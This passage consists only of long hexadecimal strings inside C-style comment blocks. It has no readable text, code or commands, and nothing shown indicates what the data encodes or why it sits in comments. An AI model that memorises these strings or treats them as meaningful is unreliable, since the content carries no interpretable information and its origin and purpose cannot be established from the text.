6a3ea8bb9bddc45cdfec9128bd2eb8bbfdd459dd2926c6ad4d8d6e0f9716c88c5ae9a19a2a447c9794f506b6f13157b6d2b27693d745ca974b74df4dadad361d5aeaabc2c5312340e387691d65ddb4043ade1a6c87de7fb226c121dbc8e72f2ccb73ff4dda1d244ca29381a5d33163b473d704ad21c92e78fcd908f2787fded8cabe2c904effe41afdc16fe9fb2f4ff7ccae643571193*/
/*a93c7f34d00a927f2a1c67036c4e4c050949f74a5ba1462c2f379021b9d0d68563d90c8406f01f7ef6f3af92c16fc1a669e45ea18ed2311da2e1254d2e612c99cd0c99a86b2f04560da8eaac041abac5cf5593456d2b268c471a192af092e2d22213a7505d29906171a8446de404d3fcf9154a36db9048bd5088fab4812fc118c7b5745e91bdf587ee5b188002a395bbbfb2ad6469127d0c6051ab5265cd282c74b3bc9ebcec19f3aa1c060afc66c24d3c1f96a04b4f79f9ae14505e08277dfb2f64ad7a8ec072e403ec46f0f9c03a36319800b60ae09ed2001283124c82d128d8441947cdd983022f32fa42f90a9b442198df1bfdbe60fc4158490c3960372a3bb3d4d70eded5e922f0c0e18c387df4f2814048b00b4ddea68650808636ae978fd4d6221702e68943a60e1c9e8c5f2dc524126c00b0ab7e8896fb6908d5d28e238e64bc2a6d5145453a59b16c304b736e3fdcf5b431b0c82dc42138ae72973b7ff26de82fabb729576ab2df386d028856aacd5be5b4137f0086bda294893b07982ef049ff3cb71d289cd77428643c4bdf0193b8302ab640756b28debb91de87f33ef0e43c0cc34531c691b9385b77e2c5d0e2f4d410627366d5036754b5a1bc862be14cbd4beb590dc18a5b179693eef2aad2ae7bb6ea9b9daf169a55f92f31efcf77b13e9f4cff1f88bc8d5bd19477aa4e897ff88e7ba400708158a6134ec57569abcf8dae34fc729e254bd388561adad9bd824706a67addc591d51a260abec2032a20a506ce9102ed1b3674ddb7540aa4625e6a45435b2138a5a95d681dc4d20c09fc6ad3e985cc4445daf1b546234aa3f00135b139be7650483caf8d62252514e7d50f3cd72b057977a21bfd7ba6fa57f586b8988aa4434e250d3d1f0a0b0971f9fff9f8c67419fb0d3c6a95fa9a1ce05b430209fc6128ec5cecb90266790bef9af1c74be162bb97b0100ecebe1eccbc0a802d4eeffee632a9ac93ab40020ce4764c521f6b5ec26605293f09a29e2837e6bb8ed10980e0d5a673ddee8e6f89966a4e016ad93877e340a1e7f62ad226547175605163e482559f34360c032db164ada4335825a628e28c05c15dcdba4b7b478b462c801fa0d0cdcfc841fc0aa53a7f6d7a3caba12bd9cc495d0d8bb7348529e677d8a164415a8d7f3559c7b7dc8be2e4c12f089e92fdf86ef5e2364d890f858b3e1d1e6a00d7eab68c393d750c37307a17315d330fb2c89d7acb7c93bb577a80736fe0ea9ec339559bc47e6edd4b73d91a05a5b88eee8eed8ff10f015998a395132b8c8efb28bce7206865d05b26ebbf2811b92745c0beca6a4064a8f12f998a67ff489bb722ee87e57fde9faf9b78add9f3503e164d33b0d2bdc294b4778395f4847a50fbcc8af11bcb8c61e8959836cbc4122a9e5a93b35f6dca1d751b9973909340b45fd04706bc7a07d417d2362455cca248590288998a304e944e9dd8aabcc6909a570887e6c71b78cc385e8a4f71744ab2ecf94a6f98d3166185d16b1cccc1dd8456cd762b607bfcb549e177725dfbf574e70c6c8a4978a2a22ccd5317d5cd319d543450716700a06ee060280417ee253db66d0e316a5440705910a86555d6868c72dcbb366b706439e197b2ffa49ee8be11987a4eaa393465115af39742eac4e4b79411285f54bafc4d09fee83963272c39f6e7a07fe2032e79df45f08fd0329b0c26901b2a105d45fdf7911aba0b19e790c928c6bd94880ddc53351a627561d27010172ecf51382ff3b168ffa241f1b13a1daf057ff7f7015e8e3613a53f0d62cf7d8e9fb9516ae80c2a0c1e64f83a66f51286fb7e17decd0077b8dcb00c35657c02f121bfeb64901f385b6cd9f94c8362ccaf7c526600160bdd74c314690bb795174166a6eaf519107fe64ead603c66622e2abb88ec51f22d2d2ea4bdf637c32aef8b26bde9b808d8d1778e6970000832d3ed4d680891b3e2e447d90e04baeeab0d79d6a33ac8c45e9116626bb62100acb2b04cb222a6c872b1adaf6654ade1169feda42f7037d2fbb8dfdb6745e8907a4cad66bf84e87dc0b45b73966ef79169a2937cf258daa8de5a4cd12d3eb636f9293a938288c7e1de4e6da9cd8a961c8bbbb68b5c67ac36c8240e41cab2d9c35e2e7db692c0477e29f58395cd8908995d612d9e51d21bf457dcd9589255169056fdee214dbdc0ee7bdf4a751e62368ae20f6dcc7ce596fcbfee572f78e761575309a0f89345cf36255d72675fe58d5183909ccf527716ae65a807279460f4392c5f823bab4d187e99a117f1dfb276a9d26196d98bfe8ce8283bf1b18354b4f4bc775b7019ef26126c879c0d97d533a2defa2fe869dfa7ac3d7f8646f8325e4d2b7d8e1f6350bac7fec5c89ce452cfa997f24531bc3b179f71a97ab24291864162be66264c94d618bd1e043e5854fb037ec857357bcb3e0daf4da71ef948c7bee206b658644e69a1be5634e220e563359035dc5cc888934ad4dcaaf4de615d8a4683b582b9d655debaa12562efc091dd5b1e32967708c71406057cf3fd3f548472379a2ad9347eecc3c1b5cf98344de1b79de0fbaefed8d2cc285b0575b24bd094f942a676a10618d00e012baa3184c0218be3058688fac8b612005385c57cd78b68188120f8360bd1d20a36f41d8329e70956fdd8055e9917ae8661303c705f9ce481a68b79493acdc1815b9861459154a8244965cd4a5af3793dbea54d11d5839ba0cfeef21c4e0f472d931c2e025f12c97a7a35d04c8806827b63b00b63e04e3f56a76ef37070d213c0f74de87dc4c75f5756cc4d125596cf48e7683c9dd4c03fee10badddca1*/
/*e1f83acdc287367badfac45a5be296253fe215c1075f72fc961f7efeffa8e3d6468601ff3f0a63fe22aba1326379d33533454378e22a2543b8be2c38ddb1ec6e1203f2b375efcb09cb74306f51031f7b69303e4c9a45a4182466a21ca18621dd037c0555bff4eceabfbc07d130d390781a1cb79874ec315dc75fe15d5730b395f5bf867a88b4e5275f39b8dbc03312154d88fe98465c296277dc6ba0651d944ac40ce319fa5a507ba02aa6a1a139a13b0210cc716444b7bfff98019da298bd833224d7fdf81649c6f80be214c8a5c8447ba3ac7fa5243b6d72b58e60bed246c4df4b72af1e8d65485f01f150ee2028d993953aeb8e13dbf3c1ce001fdf1fa256697fd5f4244d8db4402f64848287e05585677fed39bc6d277509cd9dab68cc0fd06e1c5fe7d1bcbdf3b9b0b5070f54a1681012a60ef55f596afd68be1d0a2b7b554ff1060ecdf5c469ab439d58aa364a1f34a00f47e8a10753303b89c89fd40a3037ed3ac429813d8b2d49e2064ed2521a89a1b89add40fa21b5ba3634b7b71b3b16bd0cb5dce751fd7251a7626413e0d97c8e7b9419472d3b5fa262210f7e95b6dc3fe750acd770419fe68450ff0b355dd282556ce2073361d3e77648c07094f7c276c54c5d38ba81e70eaf3bb7918f8a594785172de604babe5161b9a4ccda17f72ac9fcc8bcadb032fd31bb2899645a9f44796094995f0aacfd9f5346b56f18e873460e1a12f2e2f0f1b28da2d9f577c02ef24d6972ef8e16310d1296a2568a1d83e35532c0f323518bc7eaa7484d1ac729780a187c5e6071580f6077ccaaaeddb8f35f12b1a35d0f028427bd4f5c5ce158a54f986d3503c84571f6af035afd9773e67473524b89d2565e95fe19ce221b87d15d3cb8974939cc4e48334ddb16430ff7541f9de50932a29c3a268e2c948d072b705546dd7b8c3e5b720448c20f7afe8e1e2e7d5a5442541c4c5070c52089ccbcd8a5a8353c602e41e237b23142d05106e0abf3c777131fb63f76e34925ef81f392d839332bd1bcb089f6a8e8bc771e140124d03a033fabceeaa95cfd9a655792439fccbd1019cb7d4376aeacda474bdb576a72dc9a4922a2ba6c0b04fea50c1d0d1d2d5d4217a6544ffa8a5c6bd34579b4e923daa37504e3218fd050d85ccc105ffe0e6bd9a5d12bd2a3e4da0f918cd6ad7fe737f98ea9728b2261838208ee35b7a38124629a1a34efd92820f376c5f19ff2e3988b18ffecb92a25a10e6341e0aeaf310cab54ad2fe3a5afc2ef0a54dabe4a1d1a9b2fe221077d553e93564febec113dab8379ac1939b65fe03a08d0d5e5e5f822ec1ad3c15479481194b5730e3ad9d84c1b858abe67eb6fb37ebae2e533b266cca161843b79941ecdc5f25106d9542e54f49238d8c460d5bac8163ff97870481aa7b860a589e69d6283e78e68177649535262db21f1c49d6bc3739e351b65029bfac8b585d8a4d6117705d40ad2bd3af79ad65ed34fc6830ef7e1262b8f23cbcc866259ef9d607ed3f1a107a570c08dc5855daa49bb1d6c5428fc5177748d89acd0e2a4828762eccdfa9443983e65e998b899ef0baa4d9e8efebad5faf433bc638e379c2cdbaae5c0c7422d22937af3d13c5ac7f51f65b325f69966954493a6d6bfcd0dbba1c3fc07a1381eee5e290df100b3d54c5e26af7d52a4112a578d5bfd87d4f087ca89e7695fecb9474e5f553a79e29ba9b6d37894553b597c363ea5bb0fbb86aa9b3d2bfe395855be0e5ebc48de5779572905b790d8a110979bc4d342912189b7b46aef2e5b0857a2fe8d91a00c9575c592e4f294ee7fc296c1d5068ec79027ca062b9509da1cfbe3c190d80ca50f2dcf89a0bfa6dc99e74a5673db2f0a57d0b17967fea507ad5d880c6258077880e239d8a8c1f545f30085a1c1fe62928e80fb86f9cc09b015da0ec0ef175c14049713c230b4130d8d459344100285f84cab255c90cc86d277338e619f16f47caa1ee2a95309f73baa8006993459cfbf208dd23d99a2e6f651f5941106307b0584809834b213efc6246a6c6e08f20039a7607948a56e49d832c9f0aad3cde7e7f46239c5b3de8bfe1e3b834a16fc0564146da8dbbd179f80642e210f3b363cce5e6abbab7f6511e6ac760f279381724fcc8a3c2010cabd1b1716bfdd8b48807fdb2b6be9e67506160a28389e8f6efc008802c474d678d4b4ec957e1e471b4a33d099c162841feb1b3e45f1867ee097e8153e8460fccf97cdf6cf0ed08ff93c36749c73c0543d77e7536000738ce1ec0c2a909c6729bb78f94026bd650a86399b17ff85b81d3d9ec8f296d8b1271e93f50dc772727044a000b59381a3e2fb24c22918a80a19a20e5be995765114531feedab68b2b1aea6d209f10684c4308ad72a076cd05dc0ce370e841a42db8e9b46c08f701578b17b05c3b922e01a85b0ca4cc042bceb62632c2a14c026f6c1792fe5fdcf7ee841a29337e3b493cd1e8eae68b6192aac4627ad28706e8f988094987015f00fa53784cb0ccf4cde3545804f61df2a7ab964721b2169da7985c4716d6c3dda6917416db743cfbe30158cf316bf8c3a33b59660e9b0eeccffdd47060ab71cbc83dc08e08c95cbdcb52e9fd280fc06e9fc0312ad7541a147f80be6717b0a516392ec9383b48c28703dbb60c77a49ff112eef820fa92587a0d12658e5052e300ee28913d4c54f563f66cbbc705c67d3fe5e275f97baa5aa0cb0d96c58c1640aa5c9594434215fa04e140ca6c955dc5d876ee94050931860fc51d3e3ce7b6c942171c041c367ed62ac5874fb1f4d36af561dfd5366b1fda5205ec68f15ff83f1b858e953d15*/
/*e387786c3fe769d846d1c86e73df4e241ecf4a8843da9674765378c81c01430c0535910f48dfd95e8f2929e8ac6057ff6cac0450ee3adde72f05542e7e7b32ae456dc578701b66e5380be1c9e31cbed89b4d2bfe7de234ba6e5ddde303b47d22de8785ffc528d9c9f9d91092f34abaa9cc8d8ea92210d5555828a6539e828622801f4170c4829ac3b0791fd9f852b466726b00884d281ef5303f65839d9e407f786506b999daf3f37cb4e527ceab5861cde6a3b12e11a2e6ca46e7817ae7d2d5e757d3057a519b631e4437551011b667637f490378026da77cfc768bf0c06b4ad32a59dbae01bb9cb51bf9de0df3d3451753957dd610fcebf5d2b62b24645e4f7d3e7ffe5c8a4e3c9991173c7923219e37e0b53f13c3f7f347eba9fc77e72652866a6a909113ffd2da5f478e80da7d4623773c4f7ee66614e4ff14f97fc11c277fe4239c76bd2198e9c748964fce3b4b32cc6ecab1529c63f9addfa5e9146118d4531b982ec7c5bad72d47d20c41d3fb0ee2064c8a2c1badc944adda8efec9d80c9ea22c4da6d79f57b97461b19efc15df64b3488da1fcbedfdb3e29995aa521c6f0e8d447a2a1912d5b72819c85e6fe9b39126fbacd004f6e39924af8d941a96a1a84143d1fa36b33a4c7c53a2520ee9c47fb51c0ccaab37c5563835b9cd81a53de8e51c6b9acc9ba8d6ce38c8e8562b28a3d1a7d2bed2efa7933c36ca35bb984658581fe1d081c2f20a0bf0a426199fde9351c39c9e1341de7eb6af0f45beb6341f75d1b56a7ddcde2e4635a67e6f439595d87c5343ea24ef8c055506063938c82be5d4ece8a64e008ac3beb82bd6e17629a2b8b0863ab8fef21ab99e54026da9cb0e2625f91fee9f5398266671e1c29e85cdbaac4775579b01862ba8ef08c5063e86bf20214220fdb38eb0b98732ce11180579a87fcd11d0afa89b7a9254238aff98d7ae02c253c3d3b257477f466491c617899c7e5341c414fd8366fba35a916af02f716a859f87a6e793080a51c228ad2f8da64cafce36ccc0418662d61fbe9983265fa1039c3f6c1e158d7125aac872d70867a66af0d247d0023d0639dba7144691ff42a464ac98be057ccc3f64445dda8daa19dcd20c61e77f60e117707bd096d50678c8ff1c852365a24f6c24dcdc447e814f30c53a1e0629fd0dc27ca6141b09bf4db184c1d6a2208dc416f1e5c4ebeca33e68308f484af7e48244d7de2dfa2a8be4fb47ba1b626f5c7dabbc79b09f7e5765e5efb524fbeb35b103a30553e4101a41eadc588d523fdc60f9e0396977cacca2e19ccdc2f44002b4ff52ec510517f002654fcacebe356d2a96fecc6b9cf963fd70335e20ff4aa967e45d48453f6b89c5645ac71a31900a26e5f36b4718404369b62b48cdf077bf803e345e8d212293be00a61e4c97d453b1fcbf6d3c3782239583a08860656a23fe4e99a7243511731923e1698a7e5aa9586c75df2718868f8c493cfeef84b7808658e01d39151d188152147b21e12ce8bd1f45a5e1251bffbb89d088f80c593a64bb51b2cb417108c4a4a8b0bd20ea48b8abb947ea61a93632ec6f20e9d2390013793a57d5b7b00e7140631f1b62bc9994832d6cbd39fea5de2fd74c84ca18c0ec4b77cf7bcd4742965fb48cc1a4095d2663db02c4296e2cef4fabfbc49211240741562f6abd003a26ef3ca21760f1818346abad9b488811450d190b9359e873bd255bf0faccaa3fb4e99f7945a99e3c2ac687b99852578a7528c29c9a050035cf1318f5ecc9de20e05c80b456c7d78a7206023ba202f17dd1a46e95184f84e4a0f38952c794795cc830190a1ef0f57d8783b2b45e6d6f8427f890bca5995a0c36f7c294885d2e9d59966e0b4fbdafbb5284361932f0bd5821d490f704a3baaad9a61d1da271ec3e652323e80db529569ec1a56862ebcf29530c2f5ae093f96c93b44988d090d5fbae82cb0980058eba691bb804d05e9b183265f08bfea1c9353b803094b05f3165b122d7f297ad766bb46def06c174eed93db568d901a1e3ecad3552d00778af4d896dbeac9ad314815ae729338f3260461b5b1d7dd59560769efa58fcec3df78c44634b669d57a3891da1fc8b77741525a9c3fdc1e75c077674ae50005231790d668f4af9ac6bd1e42d334697158fe721855cc3241efa17b8e645dc941b3d87875f60735dc015ac7eee39fa66c85ec82a9e6c23f59e59c7a5fd13ea3d81c789c7765a824c4739e75a35ff7de661034c98f15a1e9866f4dd6370c8d4c9b266953e51b942c49ca85e2c7d75c3dddbc511f0ce79a8a51500f769aa74311a88f5c32b0803153fc8cd23f83bdd7188dd1dabcd3684ed96ab0d074e0059fb7ce9563b8b98835ae4402a817fdaf2761d05e7754d619d6d95817bcaee2aec9a4ddecb8c91944f827692d1ae6abb10fcfd375f95ad5b8c6d96c376b0f96bdadf7fedcdb6f5d5bb866e3d307f15ebbcec06cb646b4ab736fe922af2b614c6709d5da9738774e14cbb3679b57eae7dfbfe918d325401d42ef332837e82a6678586a470ce1dc43acebe39a677f1881f17b098b29b078b1ca41c558f8304432421476eca9d7ff728db5c156d9aea7f3f34d9b487e93c09e5c8e7a823eba02284f2ca10d072942333cb30fb990c8003c354e0364da7ea45bcc8a80264b4e5ba39f92d6a9d54557b29b8dc6d4a8b9e36ff33ef8c9bd0c7dcd4d0342ac8dde49b53b8fa3582dadcfa8514649632277b5329a91903c19817bfd033871edc0643963918d54022adee00ffa612c7c3f215797317363ea404216b4cab08b89e61b30414e3c7185837f9d3952b99472e2d1577f68ec*/
/*c287021330edcb9bb7185c86c5d83b831ef9f738a2857e2261e7bc1c2085190809034ba4e637c4748d6575240adfba0583120cd99a00b10645a20d5715da8531d5da149c8a0cbcc667ed39382f35767190030d6fc1fbcc10d0561216728d42300a93765c5e88fa6d31fa8b3ea368936fa239979a72f55421f4d7d0087efb992255cf6dc1393bb5479b85da7c438f0d11afc8e8910acd16c60a49abb0ebe83b9ba00525a3215f7c5cb4c651d2468467a51cb2a029e421d36bab784f63e439462b8a328bcefa4220eb802cf07a6379816da7d65e23e64c4b4ff6ecb74c0106651872c9abdaad06beb366a06896766e59ebdcb2893f39b449f04ad91a79940a0eb43925cfc4330760bef4a9323ba14ac970779f47c52cd59c4db19cf67012fe0c55d103f10c1e08a9364cc8911561d1da91be1f7e621584b9a070e714513ac5a07c859711065e6450f107773833d046210111de849e2af9f5dd81ba5524aed5d8e30176f18e8f8cd29e28970c707f34823df345128be1e21783f5b77eabc0090157b6c2b7082bc7aa768b7e873411c72ca13ce6eb011c8fb2ef2f7a2e3c5d23f9c5e94f2845a9ca21786f52e989a2660283a489af3bd6d6a94f204871082df6c45588c1ba1a5f13c73c9b93f42f73b8957a70ed3b929ccebfcc35bc3926dce19b483cd9deb6bd165a0247db6c08b0c44493a266573b9315ef0753d36899c120c1fa904aba46fce39aabec211e1a169c26b929979853183e8ab05b681c61c66b961ddcc991042bb85660fc12dbf59ba46002681be083b0379aada5faa95ed00a37c54f86ff42fadfc54f370cec6d8f6fd3635fbbd6fa2b75cec84c719c61fdcbb4f4d648c9f013e51e4316c056301e60ee05a77c2676b3e5ee101b876ced62d8fcbe14d6dc2d6b191873722e467b64689a28e095285cc7947a92edc30b7316f5ca499ff89783c15fd0e34c88d273295c46f64518f04a51dca9a08a56de38f51e4427839e23d177b5aeb40b96a12af0ebfdb0aa25426a2f6f2dfa3c3878d58aea00ac8715f4e93587b32c2bc4c4b98cebd2db1d18837c9e33c27c8713c59e1271bb8d82ccdd3fd185611850f9fdc9522d8295b6a2c9c7627bad4f233ba3a75b0847c472ce2aff4d90d2391c97f8255910c7f84f088eb5a4698ba06bae5d925dcd70500b2fb6eb27b0f89003d008f7c59bdb215eb4efd0cc851b8ab6e467890f353c8da1440e9c5f72d77ac2c84e25067f26330d395665cca5f90ec8a964e0cde8e83649f0c10abe51ff2cd8d1fdfee0dcb62d54d18e3d28b936f5e6bd005baf94dd136c1e49c5a4b0537d7b0458bf228ffc27c332b97ba13848611b48fd6650089f005465bf40e1b0d010165787c32eea20ae8a76d966d21e4562476ba625c4655867fe00c579b7dfbc9318a745b56b93a513b82cdac17780f2ff376322f3d406835c7a2992862891a72952393ec70d2017a77162993279c11425b2f63d7d4e6218e8658d18c8217e22fe78101c3143e3006b039f4ec63fbaab4b3705bd254ee0aa4d1e3445d5d14b3b0d1d423eafff9ccbfa1623c63c4c68d33211967adff1e2784f4fe1f5559ed4b45b8182f2f3acc2eb247a539add0ebe38adfb9a995d7174307a62e62589650b05d86dafb8fd978383e828cf964f2b99073250717949a336667ce4c64e95c765483fdd8800380e776182a333d625232fa7affe196f6204886de18fe6266b623af9a9829007f1915dbeecd48fc6738bffb822c7b6e45f78d326bcc64026a2d107cc6988f71dfae5d8d10247a1705834d0e9c5122924ae4c5014341df39570dbd5d0d28f1d62b7e3f62822ff8bb7722621b6e83ef618ad7a1295ba74d0f89ae6bd064a3fad6bfbed6f8a312838a573aff4633b63edc59650f1a78b2b177840dbb0ac5e757653d3ce9d95dcf2911c85d3fc778d875342e95fcecf1ecb9535ce5b8ece9c6b19fa53472f644eec6dad590481a13723967003b0a13d4283f649aceb135b65401837c92759c1697d16071838a4b65a32900cdd391928b2131de59d1464602d30a16e7c8ec897de3093aaf2c8adbede88afdd3de1dbcb05b601d2083f3390f69ec75989fce92d42c6023d27b4ccd5e667bb0775cf73ce137f7570f1dc31205a6a081a07f1d3a4c19176f6caecd1b3488f52310845c2b97396d06a8a0794c329c6ceba19bd7db96af68ce8c6f8660f2b535d6f917b27022e7638ebaa7d187cb1f4103241f3cbbaf2ff385c7fb8cf00ed0a8629515aaf9af5edef7ab8d14bf3c30f5f7a37c443ab582c785575e758bb08cf19f5b09997bd72b874a7a3d4b271dff10a86d61e189f8ec832ad2e82235b57d04d134665c46239df6a0f7e5f52016e30f5b942ca48fc77eff6d13fc18e1a80818e240c86e061f995bdc12e10a7e7bfd78caf096cda85c6916cac440a5ebe592c215520eba3fd9557fcf9c23acfe16794d2cfda8f8722b150068e26554c2d287df37ae48bd7e7863267aee79859d1cae54ef2b387d02dab2b92cc4552814ecf2be4689b9a078043db7ac0fd8586ed090338fa07d54889f8b9b22a822654aa32c3120592f1b2c4dea966caeaf3b273c90c7bd94b9cf0abeb1e1d398e610820d75d15951b7df96cb35fd8407d033288c5b111657a728141735436a257007273476626e1e37098134628cc4906f78bf677aa46f5930c704480128c14a33021cdebe46a3c15c23077b696d0d892517447b11254df4800922f907f4b53d756b20c75034f93c28995d5cefee6a8fa78776655a8e25a1df39b6e1bba0b1750ef5711960dea6e713876460a8d69756efc452ce32a744a79e506f6cc*/
/*5e1db595537af9ca121749dac6b3b539906ac662491262bb5ecf2bc048c9ab506ea1515a84735648df19de02077c54dea8c10aaf11508ea1054c3069c03c5d80ece3306cbba51180d7d32d8e83768efbd7d823d4ed06e4ef0843718a87ed86756d5d82c5d785f5bb0f9e982764a2a57acac9c4c5bc0790a75ba380b180bcd6327e2217ebe481ee6573e70baf589650a0690ceab34fa1b2d55e1612d7520ba053cf66f31bb9901b2eb20af6aaa5755b21bfd254d15e25f571a8c5c1a69912a300112ae653c79db0b3b7eb712940530ebc9276ccfaf8ea40fa2d2fa2b8419bbb7232663abdee9009a68a9e2a07e105a036e605cc0b2cdd20994e7b7aa716a73408a99f6830fe612280af80489e7e1a0caf5e10b8b578904aac6dea8057c523b16691aeeb9bd32d7268514129d6b214ff0979b7a89fd06db7958fb42b1184a83b17c450a4c020257e0276be5fded1db5fc3c37db7202742a0f784f93e9b262e267049be303ed122a79d629adc8747f141892c37174084259f30d8d06761973262b1833e63d79a62c8cd728cb2c2247889458b5554fd5b0305bd68d239a3e8352545cc875110b47c8ecf3beb3aa0e88d501e2b37b117cf5ddb7620a320d246e8cd7942965542395ad89a81cf433ee9a80aac0860a07785f9afe4338bd8aa9460df1d3f6a73933f37522a9b4bcf8a75186f8e93e6ace007c932e3e28517385172ff2dc446679e6a5ee887b38b8dded4f96f169d0073d32c61c6abb7fc1f37e96b3d628e47c584f37df9f8e8432ad9b71fb160b203e7d07cf23d841425b8f5c4331a20c3a9104c1c342142bd5f9bb9b50a8a3d66a061135455cc02b5a418d75956ffa9ddc42584fabbbd004d3bdfeb55d0887036e286ace1cc057a822d43be682ab421be8f00cb5c3b87646dbddd35c30d01db4da15e779fd8d92d1d3f9f3a02851bb5209a6d681a93a5a893d8b8db771bc674d1d7c5fb51f73964ba67f649c09391a805509a596365d21914619cf256bb613df438086fd2c58a87482550de94aab7bbdbd51190f75d577c083e569a7d05fc6155ada93a5b125834dd8368fe7cdd99adb71bf1eef297d286f1b4b4d53bee3add737400b18078fc356475047956066f8e598755004943d9b5a731063c9fa04f61396852a2aab97ba9f205efd6abe1877d8e83c1c9015b9709afffb8fefd86f5552f954f1ddea36fe3f83cd3ba6af4bf3498de7ea85345b1cef018cdb766192becbe90e6dbb7e02fade9fb8150bfca7612e92b63217d00c41b22832e942181e04f6ccb35cd8f976360d21f19f26ef4771fb4417bbb29531628b556c45d72478ec1c4ce286ca25fd87b966677e070861de221c17eeeb2472382c4f536df9f115332ab901991a0347aa44b64eaf8ec5461671bac6d1be5daa776a094a2fe875251e11584a6311e7d39597facd59b99c427e36204fe5a0fb2f7d7b442b05cd53d4d758bebe8b8dafd8254c5fb5aaf9903801b3a8138807e6207e07c10bd911583d331fc2d9e4dd35d4b3109f46de23fc015729e1df951a72ed4300ec5d72beb3345ec692de51c157c4f6f33ffe62eb26622f048925af9d5747a3608366ac94cfa34ade058264a5ba91f5e487893b40a0f722dedb1e41a4a3582c3f1812ed0957e727e9ea080b9fb2234e9945993c0f78c0f93f1a78a62b73b1cd8ffb002763c64b144db200199f15dac075582754e009ab40a35dcefac6f8df52edc83c2f988e5960681d6f1b1bb6934ff17cc0c66f58e0e0faaa3fba868540282a5cf58a3bf16c0f23ab6a60b24bfd4d2e0356b5053c4b66375c20f42ed0aa8fc264dd3d00886701d4ebb53b928cfe4b1ad3a0e3301aec0514df8414b70b7d3b1c3a56704afe945875e3b5ecb252fd2677630fed3db68f9b6c820768c8db7f397e13c355b9040a63c9898e4575288544d864bc43c3906284d4b768b401accda92a3e86f029cb5aebc57cc817f9d41fcabc54a6645106fffea33b203eed03e81f6d3f5b367aed72e6de391c54b140e671b157d4850b1cb64f5ab4e31b4eb9f285e04514aab0d0626471c95334bba16b5b612751b6f3e16240f17fca35f851b1f49f09da2352b0bca23b8199a3b4b114f8e69451b6613a078347f3936f61f411aec620b3f34a9edff2f9076d179da4af9d9b4176bdfa91ff630e676b99002eebeaa967d8c1e19d603a8fb98dd46b3400afa1b565f40b970a1a39dc695582631f75be691565aa9fe702e4f6378a39f7a7d767e315d69f7579ea4982157e6c8bd9dee634f37458de1c40d162207464fd0c6b0c7f7a14f8497a5aa4a6fcc076c53c127a7d781f3def0bcd28ed9ee8d88c6a587a4dc7ad29db327464099795eb4d80b0f300a355114bfb68973b310c4c5f0dbd084f695e7dac14f3bca7c895b446972e7fe3d39cb9f1c5aa8e7926f53f023470ffdfbb042b9d99570e933d62cdb0cd12989abe55a7bb79d18c82a7adaff501cecc56984433c9f6c274e368b4487161914be1d2513d7f704f8c9a57419cfe1e1fac791927aabd809d70165c29d52eb966d4c48e6e343e518b1bd560aa60e69d33641c55e5acefccc92b7e3cd2a4561d94ad50e375099861d10e61bf4efdb4b3fe5fbd71290de06409f9e93722c65bc0dcf5939df1fd1d6284e455bdc209d441641373cc87b69332270b6fdf592880485306cea55efdddca4449a29725d6a2872b51215ef0207c4915bc99a425c3bd1c28d545ed85b0dba4a5424574ace8dece58b3fafae20610a76dc289d6858ca9db83b087a65b3e71bce717c658090932fc122592f97e09babb6edca13adad34de839b7b6e1e23e84a888e*/
/*8b65a868f90dd2fe4c8e36a8e1ed40f2b7831db809920321149813b6faa1efd1e62f39d26a3f1738110e4b4efb69841970373c066077e896dd665528d4639163ebc1626cd3ac5931700f56d43c01409db8f7a1d7a651ebe7d292284c20a9456346c3134d3168c3dcc5036e6b77400629974ceccdfe0b95376241c2177477f30422554dbc7e361c6316870571f315b1435decca9add2b321ebb91b350212796346d1fe458acd002da59653c388612b95c3cc6dbfd6b147eaac5b8961b6a0189b9fb97aeeb2e936bfe18c41194cc0b631e90de60b8144e8e4ed82e51e76a26c2facf9d0a9a7ce4f8174cc60dfdbcdcd2f48c4980572fc1f186eb1bde5ba3ac643fccbfab2ec755679bf3c7b88af857d58a191e0c78e3fd1a2055b38330f14b28e0e373257cae8cb107fcfc417eb3b2d876203194fcabd53eb8cc121d40270d496702f4481292ed47419ad9826ac605edf7c164c5cc5f82d171fa488855809374639eae61e934f81d76180374f2443aacf9859fd059daf2c05e5a35929656be85bb539647ac694fd88120f35a29f8dc9ade33c25b95a0467e8e0268d309ed67eb27e50e3a6f3b8d184c9a9e90e2026c113829d9e1d4acef8cd32b47b4c059a6e23ca61da2b775325dd7dfd76166fd0b4a2ccb2cb10bf2b7bb46875860873d191bb6126759b43201653984ea1817d55eea200384b3c94c3f93325292a5613c3e16a2b4050f1f6c62b04c07bc9bb33cebc65f962f5d704f092c66465663b981e2e57ca3e3c669ea0c24da7aea6132dcb555919c2c619e6367ab6027e33dd4dfdf0e71e5aa1ef7b0deefb161f7595a33092834f4ff0d1a25b55babaf2175d6674c3e12f69f593b0690da63109f7a44b6f4db32277b97cfc454d3b8313413c8126c3819ce14ea59c50aafc7d90353fecf62db74c3a20e8fe72f37838a939ca59775f3fe20f8eb819ff6e541138977a0e21e421cd1167ab7ae3eae3f3577c41b6e9e1e8c2ae20522fbc1fa613e80bd9ad10e411787ab09d0055db198bcbb673516c702fcb8b01203c333b9c5259b3d874a5906d114189cdffe15d03096166f7c73307b280946e423b74e8bfede8ee59324b37df25923f503390d73fb9f4ae37120f8af38c3ca291068d8023cc095cf24a0901b52e8be8bb7c47016ebfce105e37cef2f115d141c916b7066e12590d1c91c0192a5f0d0e830922754333b0281d93eb0bf07155d1c946a5931c131b6f89064b206743584ec679ac93db4bc14f5f91baaa3d100a278db14d225fff1de41cc24f09849d0d7e223b7c12ab81563feda477e890005de073d0fab79bbf5a0cac38f774367f752d68f39207825a93a6ccc4c00c930f34c1e240422fec64e676ef0c6cb08e04b01b22dd8508766801c0366ab85c05a1e3f378f2f30df2d755d656c7267a0fc7aa1901407d18bec848ec9baad086768339efd0ba2ac7e1ca58f3328cbf67bff9198ba3b111570f595f7c4be7d4c0003f0fda471f45ac1a40fbb87fca51d8ef736f28e964546c16f1ef77b0db90b3d7e7fbe47242b5451fc9dd23f2402a439328a47a02e2d970932bf2c3236968064aafd9a45107314759ea4baa1fd6f36f83bca00a0103698a9381bcece19232038f8e4da9201065d1ef9f6234316d38da3d2cbd7db081a7058b5b5c1ece7dcf4d24d685f54d70e72cd049ff27b36642865af6e12bd61bad4094f3c9cc6b3f48c6eb8243d4b0c1dbe0f77f70ecf4bc70c230c563511109edecd453925a94b7a86c25d8961051885ab7ca6cf6b1fd79c4a9f010c9dc1445d918ef4adae9ee2e271ab56511cf2e102154ec18bd869f76163d2269919a38e5de274bb88b47dad5ad32197c6cdcaa1d39e0d94304c735434b6cb7e985dc53a81063b8400cb91401aae0bc1a1b1f820be6cc89ad8b986d8d7ccea9cb10fb0a0b3600502bb4b5a65c3d8f9b382d1d4c302cbde119140b28f3fe35fdb8d845956c4a1cb